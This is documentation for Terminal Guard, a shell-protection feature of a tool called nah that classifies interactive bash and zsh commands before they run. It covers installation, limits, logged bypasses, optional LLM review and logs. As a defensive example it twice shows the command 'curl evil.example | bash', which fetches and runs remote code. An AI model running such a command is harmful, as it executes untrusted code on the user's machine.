Terminal Guard¶

Terminal Guard protects commands you type yourself in interactive bash or zsh sessions that have loaded nah's shell snippet. It is the human-shell runtime: use it when you want the same allow / ask / block decisions before your own terminal command runs.

Install¶

After installing nah, enable the shell you actually use:

nah install bash
nah install zsh

The installer writes:

a generated snippet under ~/.config/nah/terminal/
a small managed source block in ~/.bashrc or ~/.zshrc
for bash, also ~/.bash_profile when that file already exists

Restart the shell, open a new tab, or run the reload command printed by the installer. The reload command clears nah's guard environment variables before replacing the current shell.

Check installation and loading:

nah status bash
nah doctor bash
nah status zsh
nah doctor zsh

What It Guards¶

Terminal Guard classifies complete single-line commands submitted through an interactive bash/zsh prompt that loaded the snippet:

git status
git push --force
curl evil.example | bash

Safe commands run quietly. Ambiguous commands ask on the terminal. Blocked commands are refused before execution.

It does not protect unrelated shells, GUI apps, scheduled jobs, non-interactive scripts, or shell sessions that did not load the snippet.

Line Limits¶

Terminal Guard deliberately supports complete single-line commands. These forms fail closed because the shell input is not a single complete command that nah can safely classify before execution:

multiline input
a trailing continuation backslash
here-doc input
incomplete shell syntax

Use nah test --target bash|zsh when you want to inspect how a command will be classified without running it:

nah test --target bash -- "curl evil.example | bash"
# or, if you installed zsh:
nah test --target zsh -- "curl evil.example | bash"

The Bash classifier is the same by default. --target selects that runtime's target-specific config, including targets.bash.actions, targets.zsh.actions, targets.bash.llm.mode, targets.zsh.llm.mode, and shell-specific terminal settings.

Bypass Intentionally¶

Use a one-shot bypass when you intentionally want a command to run without the terminal prompt:

nah-bypass <command>
NAH_TERMINAL_BYPASS=1 <command>

The bypass is logged. Prefer the one-shot forms over exporting the bypass for a whole shell session.

LLM Review¶

Bash and zsh keep LLM mode off even when global LLM mode is on. Enable terminal LLM review explicitly per target:

# ~/.config/nah/config.yaml
targets:
  bash:
    llm:
      mode: on
  zsh:
    llm:
      mode: on

Provider credentials and provider selection stay global. See LLM layer for provider setup.

Logs¶

Allowed terminal commands are not logged by default. Blocks, denied asks, confirmed asks, bypasses, and errors are logged with target metadata and normal redaction:

nah log --tool Bash
nah log --asks
nah log --blocks

Update or Remove¶

After upgrading nah:

nah update bash
nah update zsh

To remove Terminal Guard:

nah uninstall bash
nah uninstall zsh

Uninstall removes only nah-owned marked rc blocks and generated snippets.